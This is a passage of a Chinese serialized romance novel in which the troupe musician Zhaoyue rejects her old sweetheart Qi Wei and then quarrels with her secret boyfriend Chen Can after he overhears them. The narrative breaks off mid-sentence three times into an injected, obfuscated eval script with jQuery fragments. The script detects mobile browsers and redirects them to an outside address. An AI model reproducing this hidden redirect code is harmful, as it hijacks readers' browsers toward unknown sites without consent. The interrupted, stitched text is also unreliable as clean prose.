她清了清嗓子,笑着打趣:“陈灿,你今天怎么回事啊?一个人低着头,老偷偷笑,捡着什么好事了?”
陈灿猛地回神,嘴角还下意识往上扬,他赶紧绷住,装作认真擦号的样子,耳尖却悄悄红了。
心情好得要飘起来,可半句实话也不能说,只能含糊应付:“没什么,就是……今天状态还行。”
说完,又低下头,可嘴角那点藏不住的笑意,怎么压都压不下去。
晚上训练一散场,陈灿下意识就往兆悦那边走,脚步都轻快了不少,想跟她单独待一会儿,说说话。
可刚走两步,就听见值班干事在喊,今晚要突击查内务,男宿舍一个都不能少,点名到人。
陈灿脚步顿住,往兆悦的方向望了一眼,眼底满是不舍和无奈。
兆悦跟着何小萍一起回了宿舍。
等宿舍熄了灯,她拉上自己床的帘子,裹着被子躺好,四周安安静静,只剩下别人轻浅的呼吸声。
她闭着眼,中午和陈灿缠缠绵绵的画面还在脑子里打转,甜得发烫,可一转头,齐威那事儿就像块小石子,沉在心底,硌得慌。
怎么办……
齐威这段时间,既不主动来找她,也不递话,没半点明确表示。
她要是主动凑上去说“你别喜欢我,我拒绝你”,那岂不是太自作多情了?
万一人家根本没那意思,她倒好,直接冲上去把话挑明,反倒显得她心思重、脸皮薄,还尴尬。
可要是不说明白,她心里又不踏实,总觉得悬着一件事,放不下心。
兆悦在被子里轻轻皱着眉,翻了个身,盯着漆黑的床帘,越想越乱。
58. 迟来
第二天一早,天刚亮透,乐队就整队开始排练。
铜管声、弦乐声刚起,政委就从队列外走了进来,目光径直落在兆悦身上,朝她招了招手。
“兆悦,你出来一下。”
兆悦心里咯噔一下,从琴凳上起来,跟着走出去,就听见政委温和地开口:“你家里有消息了,跟我到办公室来一趟。”
这话落在耳里,兆悦表面平静地点头应下,心却一点点沉了下去。
她比谁都清楚自己家里的情况——自从父母当年一意孤行把她直接安排去一线战场后,家里的信早就淡了,只剩逢年过节几句刻板的问候,她也一板一眼地回,不多说一句。
早不来晚不来,偏偏在她为这事辗转难眠的夜里刚过,家里就突然有消息了?
怎么可能。
兆悦垂在身侧的手指轻轻蜷起,心里只有一个笃定的答案——政委口中的“家里有消息”,不过是怕引人注目、说出来的托词。
找她的根本不是家人,是齐威。
她还没来得及想清楚该怎么面对、怎么开口、怎么把这段没头没尾的心意干干净净推开,对方就已经主动找上了门。
避无可避,推无可推。
兆悦跟着政委往前走,脚步很轻,心跳却越来越重,身后不远处,陈灿的目光一直落在她的背影上,眉头轻轻皱起,眼底藏着一丝不易察觉的不安。
陈灿本就知道兆悦和家里关系疏远,平日里连家书都少得很,此刻突然被政委叫走说有家里消息,心瞬间提了起来。
他握着铜号的手指不自觉收紧,眉头紧锁,满脑子都是不安——该不会是家里出了什么变故?
队里其他人毫无察觉,唯有杭春明和杨铮对视一眼,心里跟明镜似的,压根不用猜,就知道找兆悦的根本不是什么家人,分明是齐威。
果然,政委把兆悦带进办公室,斟酌着措辞,话说得漂亮又周全:“巧了,齐威跟你是一个大院出来的邻里,远亲不如近邻,如今在部队碰上了,就好好聊几句。团里临时有事,我得赶紧过去一趟,你们慢慢说。”
话音落,政委轻轻带上房门,把独处的空间完完整整留给了兆悦和齐威。
兆悦站在办公室里,一时竟说不清心里是什么滋味。
无论是从前现实里那个让她青涩心动的男生,还是后来隔着信纸、带着懵懂温柔与她通信的齐威,她都真真切切地动过心。
她也曾付出过,把少女最柔软的心事,一笔一划写进信里,对这份感情抱有过美好的幻想。
可那都是从前了。
那时候她还年轻,没受过伤,没经历过生离,没尝过被人放在天平上称量的滋味。
直到后来她才明白,当齐威义无反顾选择报效国家、踏入军营、去拼一份前程功名时,她就那样尴尬地站在原地——她是被取舍的那一个,是被抛下的那一个。
不是他不好。
只是她清清楚楚地知道,在他的人生排序里,她从来都不是那个非留不可、非等不可的人。
如今再站在这间小小的办公室里,过去的心动还没分清,心口那道被“舍弃”留下的印子,却先一步疼了起来。
她早已不是当年那个只会默默等着一封信、盼着一个人的小女孩了。
齐威先开了口,他还是老样子,沉稳得挑不出一点错,目光落在她身上,轻声问:“兆悦,这些年,你过得还好吗?”
兆悦抿着唇,没应声。
空气一下子静了下来,两人就那样站着,隔着一段不远不近的距离,像被时光冻住的往事。
没沉默多久,齐威又主动开了口,径直提起了那封不告而别的信。
他声音放得更轻,带着一点迟来的小心翼翼:“当年我走得急,没当面跟你说清楚……你有没有怨过我?”
怨。
怎么可能不怨。
那些深夜里翻来覆去的失落,那些被放在取舍中的难堪,桩桩件件,怎么会无所谓。
可话到嘴边,兆悦却只是轻轻垂下眼,把所有翻涌的情绪都压了下去。
就像每一个曾被舍弃、被抛下的人一样,她下意识地要强撑出一身无所谓,好像这样,就能在这段早已经输了的关系里,勉强扳回一局。
她抬眼看向他,语气淡得像在说别人的事:
“都过去这么久了,早没什么怨不怨的了。”
齐威一眼就看穿了她那层强装出来的平静。
他向来稳妥、务实,能把情绪轻轻撇开,直接抛出最有力、最诱人、也最“踏实”的答案。
他看着她,语气平静,却带着不容错辨的直白:“我这次以司令部军务处参谋的身份过来,其实是……以公谋私。”
这话已经说得再明显不过——他是冲着她兆悦来的,想把当年断掉的前缘,重新续上。
只是他不知道,在他缺席的这些日子里,她早已遇上了新的人,开启了一段全新、真挚、她全身心都陷进去的感情。
齐威顿了顿,深呼吸了一下。
再沉稳的人,在这一刻也压不住心底的波澜。
他望着眼前的兆悦,她瘦了些,身段更出挑,早已不是当年那个跟在他身后的小丫头。
下面这段话,他在心里反复斟酌、打磨了无数遍。
他认真看着她,一字一句,清晰地问出口:“军务检查再过几天就结束了,我马上要走。兆悦,你要跟我一起回去吗?”
回去。
回到哪里?
回到那个大院吗?
回到处处被管束的家里吗?
还是进入另一个被规矩框住的新家,成为谁的妻子,相夫教子、安稳度日?
绝不可能,是回到从前那段无忧无虑的时光里。
兆悦这一刻看得清清楚楚——眼前这个人,从来不懂她心里的那点浪漫,对感情也看得轻淡。
在他心里,家国、前程、功名,永远排在前面,仿佛那才是一个男人、一个人理所应当的选择。
恕她不能苟同。
心已经定了,人也选好了,再没什么可犹豫、可拉扯的。
兆悦迎上他的目光,语气淡得几乎没有一丝起伏,平静却坚定地对他说:“不必了。”
“这里挺好的。”兆悦几乎没有半分犹豫,转身就推开办公室门走了出去。
明明说有急事的政委,此刻正靠在不远处的栏杆上抽烟,目光若有若无地往这边瞟。
兆悦没有点破,也没上前多言,只是低着头,自顾自走回排练厅。
一进门,杭春明只看了她一眼,心里就什么都明白了。
不用问,不用劝,兆悦脸上那平静又笃定的神情,已经说明一切——她做出了自己最想做的决定。
这段日子,他一直觉得齐威是最稳妥、最能护着兆悦的选择,一心想让她往后少受点苦、少操点心。
可这几天他也慢慢想通了,自己是好心,却差点忘了问兆悦真正想要什么。
他们几个从小一起长大,性子都一样:没感觉的人,一眼都不想多将就;没温度的感情,再安稳也熬不出甜。
硬把悦儿姐塞给一个早已没了情意的人,那不是幸福,是束缚。
他把自己认为最好的路指出来过,这就够了。
往后不管是顺遂欢喜,还是委屈磕碰,他都在旁边陪着,替她扛、替她挡。
排练厅里,陈灿的目光一直落在门口。
看见兆悦回来,神色平静、脚步安稳,他悬了一早上的心,才轻轻落了下去。军务检查很快就结束了。在齐威走的前一天,文工团迎来了下部队演出。
车子开了大半天,直到下午才抵达演出地点。
还没离开的军务参谋齐威,也跟着一同前来观看演出。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309140|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知是政委和分队长有意安排,还是真的机缘巧合,一整场节目,好几项重任都落在了兆悦身上。
她本就有能力,可从前从未一次性担下这么多任务:舞蹈里,她是主舞之一;主舞刚结束没多久,又要立刻上台给林丁丁伴奏弹钢琴;后面好几个节目,还轮到她主持报幕。
兆悦对分队长、对政委的安排从无异议,服从便是。
整场演出精彩又顺利,她不折不扣,甚至超出预期地完成了每一项任务。
跳舞时身姿优美,情绪饱满;伴奏时琴音悠扬,技巧娴熟;主持报幕时更是惊艳全场——从前谁也没见过她主持,一开口,从容大方,清亮得体,台下不少人都看呆了。
一下台,好些人立刻围了上来。
平时一向眼高于顶的郝淑雯,都难得真心服气:“这些活儿换我来,累趴下也未必能做得这么周全。”
何小萍本就是她最忠实的拥护者,这下逮着机会,更是拉着她大夸特夸。
众人正围着兆悦说笑热闹,不速之客却来了。
台上卓玛几人还在跳舞,台下,作为特邀观众的齐威,已经径直走到了兆悦面前。
很明显,他没有轻易放弃,那天办公室里的拒绝,在他看来太轻了,轻到不足以让他死心。
杭春明第一个发现不对劲,脸色瞬间沉了下来,抿紧嘴一言不发。
兆悦心里也清楚,这次是躲不掉了。
身后是舞台上的音乐,周围是战友们的说笑声,她站起身,一时竟不知该走还是该留。
杭春明第一时间站了出来,他不能让别人为难自己的悦儿姐。
他伸手拦住正要上前的齐威,将人引到了不远处的河边。
夜色里,两点火光忽明忽暗。
杭春明直接开口,语气平静却坚定:“你来晚了,兆悦已经有对象了。”
齐威不信,只当是他们串通好的托词。
杭春明便实话实说:“就是文工团乐队的,一个小号手,人不错。”
齐威顿时恼了,沉声问:“你就放心把兆悦,托付给一个文艺兵?”
杭春明心里涩得厉害,他比谁都想说是放心交给你,可谁让你当初非要她等,谁让你偏偏晚了这一步。
缘分就是这样,这一刻不抓住,从此就再也没有靠近的资格。
齐威压着火气:“那个人到底怎么样?”
杭春明沉默了一下,如实说:“不算稳妥。”
就是这一句“不算稳妥”,彻底点燃了齐威压抑已久的情绪。
不等杭春明再开口,齐威已经转身,快步朝兆悦的方向走去。
杭春明刚刚低头摁灭烟,再抬头时人已经走远,想拦都拦不住了。
其实这一路,齐威想了太多太多。
他不是不明白兆悦的拒绝。
他向来习惯等,习惯把一切都尘埃落定、把所有可能性都盘算清楚,才敢开口、才敢做决定。
那时候他们都太小,他比兆悦大两岁,总觉得自己要做最稳妥的选择,可他偏偏忽略了兆悦的感受。
他心里一直藏着没说出口的话:他知道,兆悦收到那封告别信、看着他不告而别的时候一定很难过。
可他自己又何尝不是。
写那封信时,他一个男子汉,也红了眼,晕开了钢笔墨水;无数个深夜,他彻夜难眠,想的全是兆悦,想的是那年槐花树下、带着淡淡香气的午后。
所以等他觉得时机到了,第一时间赶回来,得知她离开,又立刻追过来。
这一次,他清清楚楚地意识到:如果再等,就可能把兆悦推给一个不够好的人;如果再犹豫,就真的要错过她一辈子。
于是,一向最克制、最稳重的他,第一次这么冲动。
冲动得有些过头。
他不顾周围还有文工团的人,不管旁人的目光走向兆悦。
59. 阻碍
卸了妆的兆悦刚端起水杯,就被一道沉凝的身影挡住了去路。
齐威穿过围在她身边说笑的战友,没有丝毫迂回,连半点客套都懒得维持,冷不丁开口,只掷出两个字:“是哪个?”
旁人听得一头雾水,面面相觑间还在猜测他的来意,唯有兆悦的脊背瞬间绷紧。
她太清楚这三个字的分量——他在问,那个让她拒绝了自己的人,到底是谁。
可她怎么能说。
她和陈灿的感情,是瞒着所有人的地下恋,还是她先主动开口不公开的。
部队的规矩森严,文工团里更是忌讳私下谈情说爱,一旦公开,不仅两人要受处分,连带着分队长、政委都要跟着担责。
这是她和陈灿心照不宣的底线,无论如何,她都不可能在大庭广众之下,把陈灿的名字说出来。
兆悦指尖攥紧了水杯,抬眼时,语气已恢复了惯常的平静:“是谁,很重要吗?”
这一句话,像火星落进了干柴堆,瞬间点燃了齐威心底压抑的火气。
不公开,不点明,连名字都不敢提——这分明就是见不得光的情愫。
他越想越急,越想越怒,脑海里翻涌着的全是质问:那个男人到底有什么好?连一个光明正大的名分都舍不得给她,连站在她身边承认这份感情的勇气都没有。
换作是他,他能给她堂堂正正的名分,能明媒正娶地把她接回家,能当着所有人的面,护她一辈子。
可眼前这个藏着掖着的人,又算什么真心?
怒火归怒火,齐威骨子里的正直和理智仍在。
他顾及着部队的规矩,更怕自己的冲动,把兆悦推到风口浪尖,牵连无辜之人。
于是他压着嗓子,话里的不满藏在隐晦的字句里,字字戳向这段不被公开的感情:“这样……算是重视你吗?是真的珍重你吗?”
兆悦不愿再与他在众人面前纠缠,更不想让这段对话沦为旁人的谈资。
她垂下眼睫,语气干脆又疏离,带着不容置喙的坚定:“我现在很好,过得很好。”
“很好?”
齐威心口猛地一堵,这轻飘飘的两个字,像一把钝刀,一下下割着他的心脏。
他看着眼前的兆悦,她比当年更挺拔,更从容,眼底的光再也不是当年那个追着他跑的小丫头的模样了。
他攥紧了拳头,声音里带着一丝不易察觉的颤抖,也带着满心的不甘:“你总说现在,难道你都忘了吗?都不要了吗?”
这话,彻底点燃了兆悦压在心底的所有情绪。
忘?怎么可能忘。
可那点过往,不过是年少懵懂时的悸动,是连她自己都分不清是依赖还是喜欢的情愫。
更何况,当初最先转身,最先将她放在取舍天平上,最先选择前程与家国的人,是他齐威,从来都不是她兆悦。
那些被搁置的等待,那些收到告别信时的茫然,那些独自熬过的长夜,此刻都被这一句话勾了出来。
兆悦咬了咬下唇,逼退眼底的湿意,语气冷得像冬日的冰:“也没什么。”
“没什么”三个字,轻描淡写,却成了压垮齐威最后一丝理智的稻草。
他再也绷不住了。
杭春明早就在一旁捏着一把汗,见势不对,立刻上前伸手去拉他:“齐威,有话好好说!”
可齐威此刻早已被情绪冲昏了头,猛地一把挥开他的手。
他的声音不受控制地拔高,引得周围的喧闹瞬间安静下来,所有目光都齐刷刷地投向了这里:“我不信!一切怎么可能就这么不作数了!”
“本来就没什么!”兆悦也红了眼,寸步不让,声音里带着压抑的哽咽。
齐威知道,他再克制,再等待,再盘算,就真的什么都留不住了。
这个一向稳妥、凡事都要谋定而后动的男人,第一次抛开了所有体面,抛开了所有顾虑,将藏了这么多年的心事,尽数吼了出来:“有人能像我这样,为你彻夜未眠地想吗?有人能像我这样……痛哭流涕过吗?”
“痛哭流涕”四个字,像一根尖锐的针,狠狠扎进了兆悦最不愿触碰的软肋。
周围战友们的目光,有好奇,有探究,有同情,还有些许看热闹的意味。
那些目光像针一样扎在她身上,让她觉得浑身发烫,无地自容。
她怎么会忘。
当年收到那封不告而别的信,她躲在被子里,抱着信纸哭到浑身发抖,哭到眼睛肿得像核桃,连饭都吃不下去。
那是她第一次尝到被人抛弃的滋味,是她感情里最狼狈、最不堪的一页,是她拼了命想要尘封的过往。
他怎么敢。
怎么敢在这样的场合,说这个词。
兆悦的脸色瞬间变得惨白,她再也不想多待一秒,猛地转身,快步朝着后台外走去。
何小萍一直站在人群边缘,虽不清楚两人之间的纠葛,却本能地站在兆悦这一边。
见兆悦走了,她立刻小碎步跟了上去,紧紧跟在她身后,小声地喊着:“悦儿姐!”
可刚走了没几步,兆悦又猛地顿住了脚步。
气到了极致,反倒逼出了一身骨子里的倔强。
她咬着牙,猛地转过身,快步走回齐威面前,仰着头,迎着他的目光,一字一句,嘴硬到底:“但我也没有为你痛哭流涕过。”
一旁的杭春明看着她这副模样,心里暗暗叹气——傻丫头,又在嘴硬。
他比谁都清楚,当年兆悦为了齐威,是怎样的痛哭一场。
他见过她躲在槐花树下,对着天空默默流泪;见过她把那封告别信叠了又拆,拆了又叠,直到信纸都起了毛边。
只是此刻,他无论如何都不可能拆穿她。他只能沉默地站在原地,满心无奈,又带着一丝担忧。
可这份担忧,在下一秒,瞬间变成了彻骨的寒意。
杭春明下意识地抬眼,想要看看周围的动静,却在目光扫过不远处的角落时,整个人瞬间僵住。
那里,是乐队放置乐器的地方。
陈灿站在阴影里,手里还握着那支擦得锃亮的小号。
他背靠着墙,身姿挺拔,脸上没什么表情,唯有眼底的光,深不见底。
没有人知道他站了多久。
但杭春明清楚,刚才发生的一切,那些争执,那些质问,那些“彻夜未眠”和“痛哭流涕”,他都一字不落地听在了耳里,一五一十地看在了眼里。
杭春明的心,瞬间沉到了谷底。
他在心里,默默替兆悦默哀了三秒钟。
完了。
这下,是真的完了。
回去的路上,并没有如政委和分队长所愿,发生郎情妾意、双双把家还的故事。
齐威提前离开,他们便知道,这事没成。
一连担下多个任务,再加上方才一事心力交瘁,兆悦累极了,一句话也不愿多说。
上车后便和何小萍相互靠着闭目歇息,杭春明守在一旁,目光频频望向陈灿,车厢昏暗,早已看不清他脸上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309141|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神情。
回到文工团已是清晨。
一夜颠簸,众人下车时都带着掩不住的倦意,匆匆去澡堂冲了热水,又各自回宿舍补觉。
这一觉睡得沉,再聚到食堂,已是晚饭时分。
食堂里碗筷碰撞声此起彼伏,空气里飘着饭菜香,也飘着止不住的闲话。
昨晚后台的事,成了这顿晚饭最现成的下饭菜。
那晚齐威说话时,在场的都是熟人:郝淑雯、萧穗子、杭春明、沈一娣、何小萍。
大嘴巴和不相干的人,彼时都在台上演出,半句也没听见。
郝淑雯心里存着疑,却也知道分寸,不好到处乱讲,只在宿舍和林丁丁提了两句。
除了“彻夜未眠”和“痛哭流涕”,齐威与兆悦再没多讲一个字,余下的全靠猜。
猜来猜去没头绪,郝淑雯便把主意打到了杭春明身上。
开饭时,她端着搪瓷碗,一手拽着萧穗子,一手拉着林丁丁,径直走到杭春明那张桌前,“哐当”一声把碗放下,开门见山:“杭春明,昨天晚上,到底怎么回事?”
杭春明自然不会把兆悦的私事到处乱讲,抬眼淡淡瞅了郝淑雯一眼,语气平静得不带一丝波澜:“我也不知道。”
郝淑雯哪里肯信,他明明从头到尾都在场,怎么可能不清楚内情。
她正要再追问,眼角余光忽然瞥见门口的身影,到了嘴边的话又硬生生咽了回去。
兆悦来了。
一瞬间,食堂里几道最八卦的目光“唰”地一下,全都吸在了兆悦身上,带着好奇、探究,还有几分心照不宣的打量。
兆悦心里隐约明白,昨晚那番争执,在场看见的人都在私下猜测,只是她当时慌乱又生气,根本没留意都有谁撞见了这一切。
她更不知道,最不该看见、最不该听见的那个人——陈灿,把所有的一切,都完完整整地看在了眼里,记在了心里。
兆悦把搪瓷碗轻轻放在桌上,几乎没什么胃口,拿着筷子有一下没一下地戳着碗里的饭,没扒几口便放下了筷子,脸色淡淡的,瞧不出情绪。
杭春明坐在一旁,看得简直是怒其不争——人齐威都已经彻底打发走了,她倒好,非但不知道赶紧去找陈灿解释、哄哄人,反倒自己在这儿蔫头耷脑。
他心里咯噔一下,一个念头瞬间窜上来:这丫头……该不会到现在都还不知道,陈灿当时全程都在旁边,把一切看得一清二楚、听得一字不落吧?
杭春明暗自倒吸一口凉气,却又没法明着点破,只能在心里叹气——自己悦儿姐这糊涂的爱情,还得自己旁敲侧击帮着守。
他清了清嗓子,装作随口一问,语气里带着只有自己懂的暗示,暗戳戳地开口:“吃好啦?”
兆悦没察觉异样,只轻轻点了下头,声音轻得像羽毛:“嗯。”
“你不用再说了,人家已经知道了。”
兆悦脑子“嗡”的一声,瞬间就反应过来——
是陈灿。
陈灿全都知道了。
她心里跟掀了地震似的,慌得快要站不住,脸上却还要死死绷住,不能让郝淑雯她们看出半点破绽。
她强压着心跳,把自己没动几口的碗轻轻推到杭春明面前。
杭春明立刻懂了,配合得天衣无缝,乐呵呵接过来就吃,一副“她吃不下我来解决”的自然样子,把旁人的目光都揽到自己身上。
不管郝淑雯、萧穗子、林丁丁怎么旁敲侧击拷问,他只管打太极,半点儿真东西都不漏。
60. 死路
一走出食堂,兆悦脸上那点强装的镇定再也挂不住了。
心乱得像被狂风卷过,脚步也不由自主地加快,她甚至没多想,只凭着一股强烈的直觉往前冲——陈灿一定在排练厅后台,在等她一个解释。
她一路疾跑冲进排练厅,径直往后场去。
眼前的景象,却和从前每一次都截然不同。
再也没有含笑等她扑进怀里的温柔,再也没有她一出现就立刻放下小号、快步迎上来的欢喜。
陈灿就安安静静地站在那里,沉默得像一块冰冷的铁。
背光的阴影落在他脸上,看不清任何情绪,只让人觉得,连空气都跟着沉了下去。
兆悦看到此情此景,还有什么不明白的。
她轻轻叹了口气,强压下心底翻涌的慌乱与酸涩,努力调整好情绪,快步走到了陈灿面前。
她先开了口:“陈灿?”
声音轻得发颤,带着连她自己都没察觉的小心翼翼,目光一瞬不瞬地落在他脸上,等着眼前人的反应。
可陈灿没有应声,也没有看她,依旧维持着方才的姿势,周身的沉默像一层冻住的冰,密不透风。
他只是垂着眼,视线落在地面某处,没有愤怒,没有质问,甚至连一丝波澜都没有,这种死寂般的平静,比发脾气更让兆悦心慌。
兆悦的心一点点往下沉,指尖不自觉地攥紧。
兆悦张了张嘴,险些脱口而出那句“我可以解释的”,可话到嘴边,她又硬生生咽了回去。
解释什么呢?
解释她和齐威的确有过一段青涩的过往,解释她本想悄悄把事情了结、把人打发走,不想让他知道添堵?
这般说辞,说出口只会更伤人,反倒像刻意隐瞒、像心存顾忌。
她忽然发现,自己竟一句辩解的话都讲不出来。
空气瞬间凝固,两人就这么沉默地站着,连呼吸都变得格外沉重。
兆悦清楚,问题从头到尾都出在自己身上。她不想和陈灿闹僵,更不想就这样冷战,心里打定主意要主动,脚步便先一步跟了上去。
她轻轻靠近陈灿,伸手小心翼翼地拉住了他的胳膊,眉眼间带着几分怯生生的软意,分不清是真心还是刻意装出来的缓和,抬眼望着他,轻声问:“你生气了吗?”
陈灿的胳膊在她指尖触到的瞬间几不可查地僵了一下,却依旧没有回头,也没有挣开她,只是维持着那副沉默的样子,连呼吸都轻得让人心慌。
兆悦的心更慌了,指尖微微收紧了几分,拽着他衣袖的力道轻得像一片羽毛,生怕力道重了惹他更不快。
她仰着头,眼底裹着小心翼翼的忐忑,声音软得发嗲,带着难得的示弱:“我知道你不高兴了,别不理我好不好?”
她向来骄傲,极少这样放低姿态,此刻连眼神都不敢太过直白,只怯怯地盯着他的侧脸,等着他哪怕一丝一毫的反应。
可陈灿依旧没有说话,阴影覆在他的眉眼间,辨不出喜怒,只有周身沉下来的气压,无声地诉说着他的在意与别扭。
陈灿的声音很沉,几乎是从喉咙里压出来的,目光直直落在兆悦身上,不带一点温度。
“你早就认识齐威,对不对?”
“从一开始,你就知道他是谁、为什么来。”
他盯着她,语气里带着冷透的失望,一字一句往下问:“前段时间你那么黏着我,对我那么好,也是因为这个吧?
是愧疚,是心虚,才这样对我,是不是?”
兆悦被他那双眼看得心头发紧,声音都轻颤了几分,几乎是脱口而出:“不是的……我真的不是因为愧疚才黏着你,不是你想的那样。”
她急着去解释后半句,却没注意到,自己已经默认了前半段。
陈灿眼底最后一点温度也沉了下去,语气冷得像冰,一字一顿地追回来:“所以。
我刚才问你的——你早就认识齐威,也知道他是冲你来的,这件事,是真的,对不对?”
兆悦被他逼得退无可退,脸色发白,嘴唇抖了半天,终于低低吐出一个字:“……是。”
陈灿胸口一沉,眼神冷得发僵。
她立刻慌着补,声音又急又乱:“可是我们真的没有什么了!那都是很小的时候的事了,早就过去了……”
“过去了?”
陈灿冷笑一声,目光锐利得像刀,直逼她眼底,“过去了,他会在演出结束后,当着那么多人的面,跟你说什么彻夜未眠、痛哭流涕?”
兆悦被问得哑口无言,手心全是汗,只能慌乱地重复:“那都是很久以前的事了……真的跟现在没关系,我跟他早就断了……”
“早就断了,你为什么从头到尾瞒着我?”
陈灿往前一步,语气里全是压抑的怒火与失望,“为什么他来的时候,你不告诉我他是谁?为什么检查军务那天,你那么反常?为什么后来那段时间,你突然拼命那么黏我——”
他顿了顿,字字都像砸在心上:“你现在跟我说,那都是很小的时候。可在我看来,你只是从头到尾,都在骗我。”
兆悦张了张嘴,喉咙像被什么堵住,半个字都吐不出来。
她心里翻来覆去全是话,她不是故意要骗他,只是觉得那都是早过去的事了,没必要提,不想因为一个无关紧要的人,平白惹他误会,搅乱他们好不容易安稳下来的感情。
她是怕,怕他多想,怕他生气,怕一点点误会就把两人之间那点好不容易攒起来的亲近给冲散。
可这些话堵在胸口,越急越乱,越解释越像在找借口,越开口越显得欲盖弥彰。
她只能僵在原地,指尖微微发颤,连抬头看他的勇气都没有。
兆悦这阵沉默,落在陈灿眼里,却成了最扎心的默认。
他只当她是无话可辩,是被戳穿了心思,再也编不出理由。她每多沉默一秒,他眼底最后一点温度就冷下去一分,原本压着的火气,一点点被失望浸得更沉。
“没话说了?”
他声音很轻,却冷得让人发慌,“还是说,连骗都懒得再骗我了。”
兆悦看他眼神一点点冷透,心里猛地一慌,知道再沉默下去就真的挽回不了了。
她连忙上前一步,伸手轻轻拉住他的胳膊,语气带着平日里惯会的一点点撒娇,还有明知道自己错了的讨好:“陈灿……我真的不是故意要骗你的,你别这样……”
她攥着他的衣袖,微微用力,声音轻得发颤:“我只是……只是觉得那都是很久以前的事了,没必要提,我怕你误会,怕我们闹矛盾,我……”
陈灿垂眸,看着她拉着自己胳膊的手,只觉得心里又闷又刺。
他太了解她了,这段时间她的每一个眼神、每一次反常、每一回过分的黏人与讨好,他全都看在眼里、记在心里。
之前没多想,可现在所有线索串在一起,真相明晃晃摆在眼前。
她此刻再软的语气、再讨好的动作,都晚了。
他轻轻抽回胳膊,声音平静得可怕,听不出喜怒,却比发火更让人难受:“晚了。”
兆悦看见他抽回胳膊,心里也很难受,知道今天这件事情真的是捅大了,陈灿真的生了很大的气。
她这辈子在感情里向来是主导者,向来是她甩别人,什么时候这样低过头、哄过人?连撒娇讨好都显得生涩笨拙,完全没了平时那股游刃有余的劲儿。
她咬了咬唇,又硬着头皮往前凑了一步,声音又轻又软,带着点慌不择路的急切:“我……我已经很严厉地拒绝他了,他也走了,不会再来了。”
她抬眼望着他,眼底带着一点微弱的期盼,盼着这事能就这么翻篇:“事情都已经过去了,不算了好不好?”
她心里还存着一丝侥幸,觉得哪怕吵一架、闹一顿,也好过这样冷冰冰的沉默。
可陈灿只是看着她,那眼神冷静得让她心慌,一句话没说,却比任何指责都更让她难受。
兆悦看着他这副冰冷的神情,心里慌得厉害,却也知道再说任何辩解都苍白无力。
她上前一步,伸手拉住他的手,带着明显的讨好与急切:“我错了。从今往后,我什么都跟你说,再也不瞒你任何事。”
她心里还存着一丝侥幸,以为放低态度,总能让他消气。
可陈灿只是看着她,没有应声,也没有回握。
兆悦被他这副始终沉默的样子逼得心头火起。
她心里本就虚着,知道是自己理亏,可好话歹话全说尽了,姿态放得不能再低,他却连一点反应都不肯给。
她向来是被人捧着顺着的那一个,只有她甩别人的份,什么时候这样低声下气哄过人?肯这样屈尊迁就,已经是她最大的让步。
如今一而再再而三被他这样冷着端着,那点委屈和不甘瞬间压过了心虚。
她攥着他的手微微收紧,语气里带上了几分
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309142|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
急意,还有点被冷落得憋出来的火气:“我都已经说到这个份上了,你到底还要怎么样?”
陈灿被她这句反问刺得眼尾一冷。
他原本压在心底的失望,终于被这股理直气壮的急意挑开了一道口子。
他缓缓抬眼,目光落在她脸上,没有怒,没有吼,只有一片沉得吓人的平静。
“我还要怎么样?”
他重复了一遍,语气轻得几乎听不出情绪,却每一个字都带着凉意。
“从头到尾,错的是你,瞒我的是你,心虚的是你。我没逼你道歉,没逼你解释,更没逼你屈尊降贵来哄我。”
他顿了顿,视线牢牢锁着她,一字一句清晰得刺耳:“是你自己做错了事,现在反倒觉得,愿意哄我两句,就已经仁至义尽了,是吗?”
兆悦心里又堵又气,瞬间就被他这话刺得难受。
什么叫没逼她道歉、没逼她解释、没逼她屈尊降贵?
是他先把人叫过来,从头到尾冷着脸,一言不发,那副样子摆明了就是在兴师问罪。
她明明已经主动放低姿态,主动哄他,好话都说尽了,可他从头到尾半点反应都没有。
所有话都像砸在冰墙上,从头到尾只有她一个人在唱独角戏。
她抬眼看向陈灿,语气里带着压不住的急意和委屈:“是你把我叫过来的,从头到尾都是你冷着脸不说话。
我主动哄你、跟你认错,你却一点反应都不给。
你不就是在等着质问我、怪我吗?
现在倒好,好像我怎么做都不对,我连低头哄你,都成了有错了?”
陈灿听着她这一连串的话,先是静了一瞬,跟着就低低地笑了一声,那笑声里半分温度都没有。
他终于不再只是沉默,抬眼看向她,眼神里是彻底的失望。
“我叫你过来,是想听听实话。”
他语速很慢,每个字都很稳,却沉得让人喘不过气。
“不是要看你急,不是要你哄,更不是看你觉得自己受了多大委屈。”
他往前微微倾身,目光直直落在她脸上,没半分退让。“从头到尾,我没怪你以前认识谁。
